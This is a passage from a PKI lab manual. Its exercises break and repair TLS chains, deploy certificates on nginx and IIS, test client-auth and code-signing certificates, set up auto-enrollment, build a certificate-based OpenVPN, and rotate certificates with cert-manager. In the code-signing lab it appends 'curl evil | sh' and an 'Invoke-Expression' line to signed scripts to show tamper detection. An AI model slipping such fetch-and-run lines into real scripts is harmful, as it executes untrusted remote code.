faketime '+120 days' curl -sv -o /dev/null https://www.lab.test/ 2>&1 | grep -iE 'expired|error'
```

WINDOWS • POWERSHELL

```
Set-Date (Get-Date).AddDays(120) | Out-Null
curl.exe -sv -o NUL https://www.lab.test/ 2>&1 | Select-String
'SEC_E|schannel'
Set-Date (Get-Date).AddDays(-120) | Out-Null    # or: w32tm /resync
```

EXPECTED OUTPUT • LINUX

```
SSL certificate problem: certificate has expired
```

EXPECTED OUTPUT • WINDOWS

```
schannel: SEC_E_CERT_EXPIRED (0x80090328) - The received certificate has
expired.
```

- 6 Failure 2 — name mismatch. Connect using a name that is not in the SAN.

LINUX • OPENSSSL / BASH

```
curl -sv -o /dev/null https://api.lab.test/ 2>&1 | grep -iE
'subject|match|error'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -o NUL https://api.lab.test/ 2>&1 | Select-String
'SEC_E|schannel'
```

EXPECTED OUTPUT • LINUX

```
SSL: no alternative certificate subject name matches target host name
'api.lab.test'
```

EXPECTED OUTPUT • WINDOWS

```
schannel: SEC_E_WRONG_PRINCIPAL (0x80090322) - The target principal name is
incorrect.
```

- 7 Failure 3 — missing intermediate. Restart s_server without -cert_chain, then test. On Windows, block AIA fetching too, or the client will quietly repair the chain.

BOTH TRACKS

```
sudo openssl s_server -accept 443 -www -cert certs/www.lab.test.crt.pem -key  
keys/www.lab.test.key.pem
```

LINUX • OPENSSL / BASH

```
curl -sv -o /dev/null https://www.lab.test/ 2>&1 | grep -iE 'problem|error'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -o NUL https://www.lab.test/ 2>&1 | Select-String 'SEC_E|HTTP/'  
# likely succeeds via AIA  
# now stop the pki.lab.test web server on ca01, then:  
certutil -urlcache * delete | Out-Null; Get-ChildItem Cert:\CurrentUser\CA |  
Where-Object Subject -match 'Issuing CA 1' | Remove-Item  
curl.exe -sv -o NUL https://www.lab.test/ 2>&1 | Select-String 'SEC_E'
```

EXPECTED OUTPUT • LINUX

```
SSL certificate problem: unable to get local issuer certificate
```

EXPECTED OUTPUT • WINDOWS

```
schannel: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued  
by an authority that is not trusted.
```

-
- 8** Failure 4 — untrusted root. Serve a www.lab.test certificate from a CA the client has never seen.

BOTH TRACKS

```
openssl req -x509 -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -  
days 7 -subj /CN=www.lab.test \  
-addext subjectAltName=DNS:www.lab.test -keyout /tmp/rogue.key -out  
/tmp/rogue.crt  
sudo openssl s_server -accept 443 -www -cert /tmp/rogue.crt -key  
/tmp/rogue.key
```

LINUX • OPENSSL / BASH

```
curl -sv -o /dev/null https://www.lab.test/ 2>&1 | grep -iE 'problem|error'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -o NUL https://www.lab.test/ 2>&1 | Select-String 'SEC_E'
```

EXPECTED OUTPUT • LINUX

```
SSL certificate problem: self-signed certificate
```

EXPECTED OUTPUT • WINDOWS

```
schannel: SEC_E_UNTRUSTED_ROOT (0x80090325)
```

- 9 Failure 5 — protocol mismatch. Restore the correct server but allow only TLS 1.3; connect with a client capped at TLS 1.2.

BOTH TRACKS

```
sudo openssl s_server -accept 443 -www -tls1_3 -cert
certs/www.lab.test.crt.pem -key keys/www.lab.test.key.pem -cert_chain int-
ca/lab-int-ca.crt.pem
```

LINUX • OPENSSL / BASH

```
curl -sv -o /dev/null --tls-max 1.2 https://www.lab.test/ 2>&1 | grep -iE
'alert|error'
```

WINDOWS • POWERSHELL

```
curl.exe -sv -o NUL --tls-max 1.2 https://www.lab.test/ 2>&1 | Select-String
'SEC_E|schannel'
```

EXPECTED OUTPUT • LINUX

```
error:0A00042E:SSL routines::tlsv1 alert protocol version
```

EXPECTED OUTPUT • WINDOWS

```
schannel: failed to receive handshake, SSL/TLS connection failed ...
SEC_E_ILLEGAL_MESSAGE (0x80090326)
```

- 10 Fill in the failure map in notes/lab18.md, then revert web01 and cli01 to the snapshot.

BOTH TRACKS

FAILURE	CLIENT MESSAGE (Linux / Windows)	CHECK
FAILED		
expired	...	dates
name mismatch	...	name
missing intermediate	...	chain
(path building)		
untrusted root	...	trust
anchor		
protocol mismatch	...	not a
certificate check: negotiation		

IF IT GOES WRONG

s_server: bind: Permission denied	Ports below 1024 need root. Use sudo, or use 8443 throughout.
faketime has no effect	Statically linked binaries ignore LD_PRELOAD. Use openssl verify -atime instead: openssl verify -atime \$(date -d "+120 days" +%s) ...
Windows clock resets itself during the expiry test	The time service resynchronizes. Stop it temporarily: Stop-Service w32time.
Missing-intermediate test passes on Windows even after stopping the web server	The intermediate is in a store (LocalMachine\CA from AD). Check both CurrentUser\CA and LocalMachine\CA.

CHECK YOUR WORK

1. In TLS 1.3, which handshake message proves the server holds the private key for its certificate?
2. Missing intermediate and untrusted root produced the same Windows error. How do you tell them apart?
3. Why did the protocol mismatch fail before any certificate was checked?
4. What does forward secrecy protect that a certificate alone does not?

Deploy a certificate with its full chain

OBJECTIVE

Deploy a certificate, its key and the full chain to a production-style web server, host a second name on the same address with SNI, and confirm from a client that the server presents a complete, valid chain.

BEFORE YOU START

- www.lab.test key, certificate and lab-int-ca certificate (Lab 15).
- Linux: nginx on web01. Windows: IIS on web01 (domain-joined).
- Snapshot web01.

STEPS

- 1 Before deploying anything, prove the key matches the certificate.

LINUX • OPENSSL / BASH

```
diff <(openssl x509 -in certs/www.lab.test.crt.pem -noout -pubkey) <(openssl  
pkey -in keys/www.lab.test.key.pem -pubout) && echo MATCH
```

WINDOWS • POWERSHELL

```
$c = Get-ChildItem Cert:\LocalMachine\My | Where-Object { $_.Subject -eq  
'CN=www.lab.test' -and $_.HasPrivateKey } | Sort-Object NotAfter | Select-  
Object -Last 1  
certutil -verifystore My $c.Thumbprint | Select-String 'test passed'
```

EXPECTED OUTPUT • LINUX

```
MATCH
```

EXPECTED OUTPUT • WINDOWS

```
Signature test passed
```

- 2 Install the files with correct ownership and permissions. On Windows, make sure the intermediate is in the machine's Intermediate store — Schannel builds the chain it sends from there.

LINUX • OPENSSL / BASH

```
cat certs/www.lab.test.crt.pem int-ca/lab-int-ca.crt.pem >
chains/www.lab.test.fullchain.pem
sudo install -d -m 755 /etc/nginx/tls
sudo install -m 644 chains/www.lab.test.fullchain.pem /etc/nginx/tls/
sudo install -m 600 -o root -g root keys/www.lab.test.key.pem /etc/nginx/tls/
ls -l /etc/nginx/tls
```

WINDOWS • POWERSHELL

```
Import-Certificate C:\pki-lab\certs\lab-int-ca.crt -CertStoreLocation
Cert:\LocalMachine\CA | Out-Null
Get-ChildItem Cert:\LocalMachine\CA | Where-Object Subject -match 'Issuing CA
1' | Format-Table Subject, Thumbprint
```

EXPECTED OUTPUT • LINUX

```
-rw-r--r-- 1 root root 1622 ... www.lab.test.fullchain.pem
-rw----- 1 root root  241 ... www.lab.test.key.pem
```

3 Configure the site.

LINUX • OPENSSL / BASH

```
sudo tee /etc/nginx/sites-available/www.lab.test >/dev/null <<'EOF'
server {
    listen 443 ssl;
    server_name www.lab.test lab.test;
    ssl_certificate      /etc/nginx/tls/www.lab.test.fullchain.pem;
    ssl_certificate_key  /etc/nginx/tls/www.lab.test.key.pem;
    ssl_protocols        TLSv1.2 TLSv1.3;
    root /var/www/html;
}
EOF
sudo ln -sf /etc/nginx/sites-available/www.lab.test /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
```

WINDOWS • POWERSHELL

```
Import-Module WebAdministration
New-WebBinding -Name 'Default Web Site' -Protocol https -Port 443 -HostHeader
www.lab.test -SslFlags 1
(Get-WebBinding -Name 'Default Web Site' -Protocol https -HostHeader
www.lab.test).AddSslCertificate($c.Thumbprint, 'My')
netsh http show sslcert hostnameport=www.lab.test:443
```

EXPECTED OUTPUT • LINUX

```
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
```

- 4 From cli01, count the certificates presented and verify the chain the way a strict client would.

BOTH TRACKS

```
openssl s_client -connect www.lab.test:443 -servername www.lab.test -showcerts
</dev/null 2>/dev/null | grep -c 'BEGIN CERT'
openssl s_client -connect www.lab.test:443 -servername www.lab.test -
verify_hostname www.lab.test -verify_return_error </dev/null 2>/dev/null |
grep -E '^ *[0-9] s:|Verify return'
```

EXPECTED OUTPUT

```
2
0 s:CN = www.lab.test
1 s:0 = PKI Lab, CN = PKI Lab Issuing CA 1
Verify return code: 0 (ok)
```

- 5 Add a second site on the same address, api.lab.test, with its own certificate (issue it as in Lab 15). Then test with and without SNI.

LINUX • OPENSSL / BASH

```
# after deploying api.lab.test.fullchain.pem and key as above, with
server_name api.lab.test:
openssl s_client -connect web01.lab.test:443 -servername api.lab.test
</dev/null 2>/dev/null | openssl x509 -noout -subject
openssl s_client -connect web01.lab.test:443 -noservername </dev/null
2>/dev/null | openssl x509 -noout -subject
```

WINDOWS • POWERSHELL

```
New-WebBinding -Name 'Default Web Site' -Protocol https -Port 443 -HostHeader
api.lab.test -SslFlags 1
(Get-WebBinding -Name 'Default Web Site' -Protocol https -HostHeader
api.lab.test).AddSslCertificate($api.Thumbprint, 'My')
```

EXPECTED OUTPUT

```
subject=CN=api.lab.test
subject=CN=www.lab.test          (no SNI: the default server's certificate)
```

- 6 Break it once on purpose: point nginx at the leaf only (not the fullchain), reload, and repeat step 4. Then restore.

LINUX • OPENSSEL / BASH

```
sudo sed -i 's#/www.lab.test.fullchain.pem#/www.lab.test.crt.pem#'  
/etc/nginx/sites-available/www.lab.test  
sudo install -m 644 certs/www.lab.test.crt.pem /etc/nginx/tls/ && sudo nginx -  
t && sudo systemctl reload nginx
```

WINDOWS • POWERSHELL

```
# Windows equivalent: remove the intermediate from LocalMachine\CA and restart  
HTTP.sys bindings  
Get-ChildItem Cert:\LocalMachine\CA | Where-Object Subject -match 'Issuing CA  
1' | Remove-Item  
Restart-Service W3SVC
```

EXPECTED OUTPUT

```
1  
Verify return code: 21 (unable to verify the first certificate)
```

IF IT GOES WRONG

nginx: SSL_CTX_use_PrivateKey ... key values mismatch	The key does not belong to the certificate. Step 1 would have caught it; find the right key by public-key hash.
nginx: cannot load certificate key ... Permission denied	The master process must read the key as root; check the path and that you did not chown it to an unprivileged user without also adjusting how nginx starts.
Chain in the wrong order	The leaf must be first, followed by its issuer. Reversing them causes "key values mismatch" because nginx pairs the key with the first certificate.
IIS serves only the leaf	Schannel could not find the intermediate in LocalMachine\CA, or it built a different path. Import the intermediate and restart the site.
The wrong certificate is served for a name	No matching server_name/host header binding, so the default site answered. Check SNI is sent and the binding host names.

CHECK YOUR WORK

1. Why should you never include the root in the chain you serve, and what harm does including it do?
2. What is the "default certificate surprise", and which clients trigger it?
3. Wildcard *.lab.test vs one certificate with several SANs vs one certificate per site: give one advantage and one risk of each.

Client-authentication and code-signing certificates

OBJECTIVE

Issue a client-authentication certificate and a code-signing certificate, and prove each performs only its intended purpose.

BEFORE YOU START

- Lab 15 issuing CA (Linux: client and codesign profiles; Windows: publish the CodeSigning template — step 1).
- web01 or any Linux host for the mutual-TLS test server.

STEPS

- 1 Issue a client certificate for alice and a code-signing certificate.

LINUX • OPENSSL / BASH

```
cd ~/pki-lab/int-ca
openssl req -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -keyout
../keys/alice.client.key.pem \
  -subj /CN=alice -addext subjectAltName=email:alice@lab.test -out
../csr/alice.client.csr.pem
openssl ca -config int-ca.cnf -batch -extensions client -notext -in
../csr/alice.client.csr.pem -out ../certs/alice.client.crt.pem
openssl req -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -keyout
../keys/codesign.key.pem \
  -subj "/O=PKI Lab/CN=PKI Lab Code Signing" -out ../csr/codesign.csr.pem
openssl ca -config int-ca.cnf -batch -extensions codesign -notext -in
../csr/codesign.csr.pem -out ../certs/codesign.crt.pem
```

WINDOWS • POWERSHELL

```
# on ca01 (once): Add-CATemplate -Name CodeSigning -Force
# on cli01, signed in as a domain user:
$alice = (Get-Certificate -Template User -CertStoreLocation
Cert:\CurrentUser\My -Url ldap:).Certificate
$cs = (Get-Certificate -Template CodeSigning -CertStoreLocation
Cert:\CurrentUser\My -Url ldap:).Certificate
$alice, $cs | ForEach-Object { $_.Subject; $_.EnhancedKeyUsageList }
```

- 2 Ask what each certificate is allowed to do.

LINUX • OPENSSL / BASH

```
CH="-CAfile lab-root-ca.crt.pem -untrusted lab-int-ca.crt.pem"
openssl verify $CH -purpose sslclient ../certs/alice.client.crt.pem
openssl verify $CH -purpose sslserver ../certs/alice.client.crt.pem
openssl verify $CH -purpose sslclient ../certs/codesign.crt.pem
```

EXPECTED OUTPUT

```
../certs/alice.client.crt.pem: OK
error 26 at 0 depth lookup: unsupported certificate purpose
error 26 at 0 depth lookup: unsupported certificate purpose
```

3 Run a server that requires client certificates from this PKI.

BOTH TRACKS

```
cat int-ca/lab-int-ca.crt.pem root-ca/lab-root-ca.crt.pem > chains/lab-ca-
bundle.pem
openssl s_server -accept 9443 -www -Verify 1 -verify_return_error -CAfile
chains/lab-ca-bundle.pem \
    -cert certs/www.lab.test.crt.pem -key keys/www.lab.test.key.pem -cert_chain
int-ca/lab-int-ca.crt.pem
```

4 Connect with no certificate, with alice's certificate, and with the code-signing certificate.

LINUX • OPENSSL / BASH

```
curl -s -o /dev/null -w '%{http_code}\n' https://www.lab.test:9443/ || echo
FAILED
curl -s -o /dev/null -w '%{http_code}\n' --cert certs/alice.client.crt.pem --
key keys/alice.client.key.pem https://www.lab.test:9443/
curl -s -o /dev/null -w '%{http_code}\n' --cert certs/codesign.crt.pem --key
keys/codesign.key.pem https://www.lab.test:9443/ || echo FAILED
```

WINDOWS • POWERSHELL

```
curl.exe -s -o NUL -w "%{http_code}\n" https://www.lab.test:9443/
curl.exe -s -o NUL -w "%{http_code}\n" --cert
"CurrentUser\MY\$(($alice.Thumbprint))" https://www.lab.test:9443/
curl.exe -s -o NUL -w "%{http_code}\n" --cert
"CurrentUser\MY\$(($cs.Thumbprint))" https://www.lab.test:9443/
```

EXPECTED OUTPUT

```
FAILED    (server log: peer did not return a certificate)
200
FAILED    (server log: unsupported certificate purpose)
```

5 Sign a script with the code-signing certificate and verify it. Then tamper with it.

LINUX • OPENSSL / BASH

```
echo 'echo hello from the lab' > notes/tool.sh
openssl cms -sign -binary -md sha256 -in notes/tool.sh -signer
certs/codesign.crt.pem -inkey keys/codesign.key.pem \
  -certfile int-ca/lab-int-ca.crt.pem -outform DER -out notes/tool.sh.p7s
openssl cms -verify -binary -inform DER -in notes/tool.sh.p7s -content
notes/tool.sh -CAfile root-ca/lab-root-ca.crt.pem -purpose any -out /dev/null
echo 'curl evil | sh' >> notes/tool.sh
openssl cms -verify -binary -inform DER -in notes/tool.sh.p7s -content
notes/tool.sh -CAfile root-ca/lab-root-ca.crt.pem -purpose any -out /dev/null
```

WINDOWS • POWERSHELL

```
Set-Content C:\pki-lab\notes\tool.ps1 "Write-Output 'hello from the lab'"
Set-AuthenticodeSignature C:\pki-lab\notes\tool.ps1 -Certificate $cs | Format-
Table Status, StatusMessage
(Get-AuthenticodeSignature C:\pki-lab\notes\tool.ps1).Status
Add-Content C:\pki-lab\notes\tool.ps1 "Invoke-Expression 'evil'"
(Get-AuthenticodeSignature C:\pki-lab\notes\tool.ps1).Status
```

EXPECTED OUTPUT • LINUX

```
CMS Verification successful
CMS Verification failure ... digest failure
```

EXPECTED OUTPUT • WINDOWS

```
Valid
HashMismatch
```

6 Try to sign code with alice's client certificate.

LINUX • OPENSSL / BASH

```
# openssl cms is a generic signer and will happily sign with any key (that is
why -purpose any was needed above).
# Purpose enforcement belongs to the verifier; Authenticode (Windows track)
shows it.
```

WINDOWS • POWERSHELL

```
Set-AuthenticodeSignature C:\pki-lab\notes\tool.ps1 -Certificate $alice
```

EXPECTED OUTPUT • WINDOWS

```
Set-AuthenticodeSignature: Cannot sign code. The specified certificate is not suitable for code signing.
```

- 7 Timestamping (read, or run if your lab has internet access): a trusted timestamp proves the signature existed while the certificate was valid, so the signature keeps validating after the certificate expires.

WINDOWS • POWERSHELL

```
Set-AuthenticodeSignature C:\pki-lab\notes\tool.ps1 -Certificate $cs -  
TimestampServer http://timestamp.digicert.com  
(Get-AuthenticodeSignature C:\pki-  
lab\notes\tool.ps1).TimeStamperCertificate.Subject
```

IF IT GOES WRONG

Get-Certificate: template not found	The template is not published on the CA (Add-CATemplate) or your account lacks Enroll permission on it.
curl with --cert returns 200 for the code-signing certificate	The server is not checking purpose. Ensure -verify_return_error is set; in real servers, configure client-certificate EKU enforcement.
Signed script reports UnknownError on another machine	That machine does not trust the lab root or cannot fetch the intermediate. Code signatures follow the same chain rules as TLS.

CHECK YOUR WORK

1. Why is a client certificate a stronger credential than a password for a VPN or an API?
2. The tampered script failed verification. What does a valid code signature prove, and what does it not?
3. Why must long-lived code signatures be timestamped?
4. Why is key escrow sensible for email-encryption certificates but wrong for signing certificates?

Configure auto-enrollment by policy

OBJECTIVE

Configure certificate auto-enrollment so a domain client receives a machine certificate by policy, then watch it renew without anyone touching it.

BEFORE YOU START

- Windows track: dc01, ca01 (Enterprise Subordinate CA from Lab 15), cli01 domain-joined.
- Linux-only learners: complete the Linux alternative in each step (a timer-driven renewal against the lab CA) and read the Windows steps.
- Snapshot dc01, ca01 and cli01.

STEPS

- 1 Create a template. On ca01 open certtmpl.msc, duplicate "Workstation Authentication", and set: General → display name "Lab Workstation", validity 2 days, renewal period 1 day (short so you can observe renewal). Security → Domain Computers: Read, Enroll, Autoenroll. Subject Name → Build from Active Directory, DNS name.

LINUX • OPENSLL / BASH

```
# Linux alternative: define the policy as a script that re-enrolls when 1/3 of
lifetime remains
cat > ~/pki-lab/renew-machine.sh <<'EOF'
#!/usr/bin/env bash
C=~/.pki-lab/certs/$(hostname -f).crt.pem
life=$(( $(date -d "$(openssl x509 -in $C -noout -enddate | cut -d= -f2)" +%s)
- $(date -d "$(openssl x509 -in $C -noout -startdate | cut -d= -f2)" +%s) ))
openssl x509 -in $C -noout -checkend $(( life / 3 )) >/dev/null && exit 0
echo "renewing $C"    # generate new key + CSR and submit to ca01 here (Lab 15
commands)
EOF
chmod +x ~/pki-lab/renew-machine.sh
```

2 Publish the template on the issuing CA.

WINDOWS • POWERSHELL

```
# on ca01
Add-CATemplate -Name LabWorkstation -Force
Get-CATemplate | Where-Object Name -eq LabWorkstation
```

3 Turn on auto-enrollment for computers with a Group Policy Object.

LINUX • OPENSSL / BASH

```
# Linux alternative: run the policy every hour
( crontab -l 2>/dev/null; echo '17 * * * * $HOME/pki-lab/renew-machine.sh |
logger -t autoenroll' ) | crontab -
```

WINDOWS • POWERSHELL

```
# on dc01
New-GPO -Name 'PKI Autoenrollment' | New-GPLink -Target 'DC=lab,DC=test'
Set-GPRegistryValue -Name 'PKI Autoenrollment' -Key
'HKLM\SOFTWARE\Policies\Microsoft\Cryptography\AutoEnrollment' -ValueName
AEPolicy -Type DWord -Value 7
# 7 = enroll, renew expired certificates, update pending and remove revoked
```

4 On cli01, apply policy and trigger enrollment immediately instead of waiting for the 8-hour cycle.

WINDOWS • POWERSHELL

```
gpupdate /force
certutil -pulse
Start-Sleep 20
Get-ChildItem Cert:\LocalMachine\My | Where-Object Issuer -match 'Issuing CA
1' | Format-List Subject, DnsNameList, NotBefore, NotAfter, Thumbprint
certutil -store My | Select-String 'Template='
```

EXPECTED OUTPUT • WINDOWS

```
Subject      : CN=cli01.lab.test
DnsNameList  : {cli01.lab.test}
NotBefore    : ...
NotAfter     : ... (2 days later)
Template=Lab Workstation(1.3.6.1.4.1.311.21.8....)
```

- 5 Read the client-side evidence. Success and failure are both logged here.

WINDOWS • POWERSHELL

```
Get-WinEvent -FilterHashtable @{ LogName = 'Application'; ProviderName =  
'Microsoft-Windows-CertificateServicesClient-AutoEnrollment' } -MaxEvents 5 |  
Format-List TimeCreated, Id, Message
```

EXPECTED OUTPUT • WINDOWS

```
Id      : 19  
Message : Certificate enrollment for Local system successfully received a  
certificate from ... using the Lab Workstation template.
```

- 6 Observe renewal. Either wait until the certificate is inside its renewal period (about 1 day) and run `certutil -pulse`, or force a renewal now. Record old and new thumbprints.

LINUX • OPENSSSL / BASH

```
~/pki-lab/renew-machine.sh
```

WINDOWS • POWERSHELL

```
$old = Get-ChildItem Cert:\LocalMachine\My | Where-Object Issuer -match  
'Issuing CA 1' | Select-Object -First 1  
certreq -enroll -machine -q -cert $old.SerialNumber Renew  
Get-ChildItem Cert:\LocalMachine\My | Where-Object Issuer -match 'Issuing CA  
1' | Format-Table Thumbprint, NotBefore, NotAfter
```

- 7 Break it: on ca01 remove Autoenroll permission for Domain Computers from the template. Delete cli01's certificate, run `certutil -pulse`, and read the event log again. Restore the permission and confirm recovery.

EXPECTED OUTPUT • WINDOWS

```
Id 13 / 82: Certificate enrollment ... failed ... The permissions on the  
certificate template do not allow the current user to enroll for this type of  
certificate.
```

IF IT GOES WRONG

Nothing enrolls and no events appear	The GPO is not applying. Run <code>gpresult /r /scope computer</code> and confirm "PKI Autoenrollment" is listed.
Event 13: The RPC server is unavailable	The client cannot reach ca01 over DCOM/RPC. Check firewall rules and name resolution for ca01.lab.test.
Template not listed in Get-CATemplate	Replication delay after creating the template. Wait a few minutes or run <code>repadmin /syncall</code> on dc01, then <code>Add-CATemplate</code> again.
Certificate issued but for the wrong subject	The template's Subject Name tab is set to "Supply in the request". Change to "Build from Active Directory" — the request-supplied option on an authentication template is a serious security risk (Lab 24).

CHECK YOUR WORK

1. Why is auto-enrollment considered the enterprise ideal, and what does it not solve on its own?
2. Why did you grant Autoenroll to Domain Computers rather than to Authenticated Users?
3. A machine certificate and a user certificate on the same laptop expire on the same day. Which renews first and why?

Certificate-authenticated VPN and a trust mismatch

OBJECTIVE

Configure a VPN where client and gateway authenticate each other with certificates, then diagnose a deliberately introduced trust mismatch from each side's logs.

BEFORE YOU START

- An OpenVPN server on web01 (sudo apt install openvpn). Both tracks use this Linux gateway.
- Client: Linux cli01 with openvpn, or Windows cli01 with OpenVPN Community client installed (winget install OpenVPNTechnologies.OpenVPN).
- Client certificate alice (Lab 20) and the Quick CA certificate (Lab 10).

STEPS

- 1 Issue the gateway certificate for vpn.lab.test with the server profile (Lab 15 commands) and add vpn.lab.test to the hosts file.

BOTH TRACKS

```
openssl ca -config int-ca.cnf -batch -extensions server -notext -in
../csr/vpn.lab.test.csr.pem -out ../certs/vpn.lab.test.crt.pem
cat ../certs/vpn.lab.test.crt.pem lab-int-ca.crt.pem >
../chains/vpn.lab.test.fullchain.pem
```

- 2 Configure the gateway. It trusts the lab root and issuing CA for clients, and requires a client certificate with the clientAuth usage.

BOTH TRACKS

```
sudo tee /etc/openvpn/server/server.conf >/dev/null <<'EOF'
port 1194
proto udp
dev tun
ca /etc/openvpn/server/lab-ca-bundle.pem
cert /etc/openvpn/server/vpn.lab.test.fullchain.pem
key /etc/openvpn/server/vpn.lab.test.key.pem
dh none
tls-version-min 1.2
verify-client-cert require
remote-cert-tls client
server 10.8.0.0 255.255.255.0
keepalive 10 60
verb 3
EOF
sudo systemctl enable --now openvpn-server@server
sudo journalctl -u openvpn-server@server -n 5
```

- 3 Configure the client. It trusts only the lab root, requires the gateway to present a server certificate, and pins the gateway's name.

LINUX • OPENSSSL / BASH

```
cat > notes/client.ovpn <<'EOF'
client
dev tun
proto udp
remote vpn.lab.test 1194
nobind
ca /home/you/pki-lab/root-ca/lab-root-ca.crt.pem
cert /home/you/pki-lab/certs/alice.client.crt.pem
key /home/you/pki-lab/keys/alice.client.key.pem
remote-cert-tls server
verify-x509-name vpn.lab.test name
verb 3
EOF
sudo openvpn --config notes/client.ovpn
```

WINDOWS • POWERSHELL

```
@  
client  
dev tun  
proto udp  
remote vpn.lab.test 1194  
nobind  
ca C:\\pki-lab\\certs\\lab-root-ca.crt.pem  
cryptoapicert "THUMB:$($alice.Thumbprint)"  
remote-cert-tls server  
verify-x509-name vpn.lab.test name  
verb 3  
"@ | Set-Content C:\\pki-lab\\notes\\client.ovpn  
& 'C:\\Program Files\\OpenVPN\\bin\\openvpn.exe' --config C:\\pki-  
lab\\notes\\client.ovpn
```

EXPECTED OUTPUT

```
VERIFY OK: depth=2, O=PKI Lab, CN=PKI Lab Root CA  
VERIFY OK: depth=1, O=PKI Lab, CN=PKI Lab Issuing CA 1  
VERIFY KU OK  
Validating certificate extended key usage  
VERIFY EKU OK  
VERIFY X509NAME OK: CN=vpn.lab.test  
...  
Initialization Sequence Completed
```

4 Read the gateway's view of the same connection.

BOTH TRACKS

```
sudo journalctl -u openvpn-server@server -n 20 | grep -E 'VERIFY|Peer  
Connection'
```

EXPECTED OUTPUT

```
VERIFY OK: depth=0, CN=alice  
... Peer Connection Initiated with [AF_INET]10.10.0.30:...
```

5 Mismatch A — client distrusts the gateway. Point the client's ca line at the Quick CA certificate from Lab 10 and reconnect. Before reading the log, predict which side fails and at which check.

EXPECTED OUTPUT

```
client: VERIFY ERROR: depth=1, error=unable to get local issuer certificate:
0=PKI Lab, CN=PKI Lab Issuing CA 1
client: OpenSSL: error:0A000086:SSL routines::certificate verify failed
client: TLS_ERROR: BIO read tls_read_plaintext error
server: TLS Error: TLS handshake failed
```

-
- 6 Restore the client. Mismatch B — the gateway distrusts the client. Replace the gateway's ca with the Quick CA certificate, restart, and reconnect.

EXPECTED OUTPUT

```
server: VERIFY ERROR: depth=1, error=unable to get local issuer certificate ...
client: ... TLS Error: TLS handshake failed (the client sees only a failed
handshake)
```

-
- 7 Restore the gateway. Mismatch C — wrong usage. Configure the client with the code-signing certificate from Lab 20 instead of alice.

EXPECTED OUTPUT

```
server: Validating certificate extended key usage
server: ++ Certificate has EKU (oid) 1.3.6.1.5.5.7.3.3, expects TLS Web Client
Authentication
server: VERIFY EKU ERROR
```

-
- 8 For each mismatch, write in notes/lab22.md: which party complained, which checklist item failed, which side's log showed the real cause, and the fix. Wireless (802.1X EAP-TLS) follows the same logic: the client must trust the RADIUS server's certificate and name, and the RADIUS server must trust the client's.
-

IF IT GOES WRONG

Options error: --dh fails	Older OpenVPN (before 2.4) does not accept dh none. Upgrade; the distribution packages in Ubuntu 24.04 are fine.
Windows: cryptapi.dll: Cannot load certificate	The certificate is in CurrentUser but OpenVPN runs as a different user, or the key is non-exportable in a way the provider cannot use. Run openvpn.exe as the same user, or reference "SUBJ:alice".
Client connects but pings fail	The tunnel is up; this is routing, not PKI. Certificates are done once "Initialization Sequence Completed" appears.

CHECK YOUR WORK

1. In Mismatch B, why did the client's log say almost nothing useful?
2. What does verify-x509-name protect against that a trusted chain alone does not?
3. Why are certificates better than a pre-shared key for a VPN with hundreds of users?

Automated issuance and rotation for a workload

OBJECTIVE

Configure an automated issuer for a containerized service and watch a short-lived certificate be issued and rotated without manual steps — then see what happens when the automation breaks.

BEFORE YOU START

- Docker (Docker Desktop on Windows), kind and kubectl on cli01.
- Access to root01 to sign one new CA certificate.
- Internet access to download cert-manager (or a pre-downloaded manifest).

STEPS

- 1 Create a dedicated "workload" issuing CA. The Lab 15 issuing CA has pathlen:0 and cannot sign another CA, so this one is signed by the root. Never give an automation platform your main issuing CA key.

LINUX • OPENSLL / BASH

```
openssl req -new -newkey ec -pkeyopt ec_paramgen_curve:P-256 -noenc -keyout
keys/workload-ca.key.pem \
  -subj "/O=PKI Lab/CN=PKI Lab Workload CA" -out csr/workload-ca.csr.pem
# on root01:
openssl ca -config root-ca.cnf -extensions v3_int -days 365 -notext -in
/media/transfer/workload-ca.csr.pem -out /media/transfer/workload-ca.crt.pem
```

WINDOWS • POWERSHELL

```
# create the CSR with openssl as shown for Linux, then on root01:
certreq -submit -config '.\PKI Lab Root CA' -attrib
'CertificateTemplate:SubCA' E:\workload-ca.csr.pem
certutil -resubmit <RequestId>
certreq -retrieve -config '.\PKI Lab Root CA' <RequestId> E:\workload-
ca.crt.pem
```

- 2 Create a local cluster and install cert-manager (use the current release from cert-manager.io).

BOTH TRACKS

```
kind create cluster --name pki-lab
kubectl apply -f https://github.com/cert-manager/cert-
manager/releases/download/<version>/cert-manager.yaml
kubectl -n cert-manager rollout status deploy/cert-manager-webhook
```

3 Give cert-manager the workload CA and define an issuer.

BOTH TRACKS

```
kubectl -n cert-manager create secret tls lab-workload-ca --
cert=certs/workload-ca.crt.pem --key=keys/workload-ca.key.pem
kubectl apply -f - <<'EOF'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: lab-workload-ca
spec:
  ca:
    secretName: lab-workload-ca
EOF
kubectl get clusterissuer lab-workload-ca
```

WINDOWS • POWERSHELL

```
# PowerShell: save the YAML to issuer.yaml and run kubectl apply -f
issuer.yaml
```

EXPECTED OUTPUT

NAME	READY	AGE
lab-workload-ca	True	5s

4 Request a one-hour certificate that renews when 45 minutes remain (after 15 minutes).

BOTH TRACKS

```
kubectl apply -f - <<'EOF'
apiVersion: cert-manager.io/v1
kind: Certificate
metadata:
  name: demo
  namespace: default
spec:
  secretName: demo-tls
  duration: 1h
  renewBefore: 45m
  dnsNames: [demo.default.svc.cluster.local]
  privateKey: { algorithm: ECDSA, size: 256, rotationPolicy: Always }
  issuerRef: { name: lab-workload-ca, kind: ClusterIssuer }
EOF
kubectl get certificate demo -w
```

- 5 Read the issued certificate out of the secret and note its serial and dates.

LINUX • OPENSSSL / BASH

```
kubectl get secret demo-tls -o jsonpath='{.data.tls\.crt}' | base64 -d |
openssl x509 -noout -serial -dates -issuer
```

WINDOWS • POWERSHELL

```
$b64 = kubectl get secret demo-tls -o jsonpath="{.data.tls\.crt}"
[IO.File]::WriteAllBytes("$env:TEMP\demo.pem",
[Convert]::FromBase64String($b64))
certutil -dump "$env:TEMP\demo.pem" | Select-String 'Serial
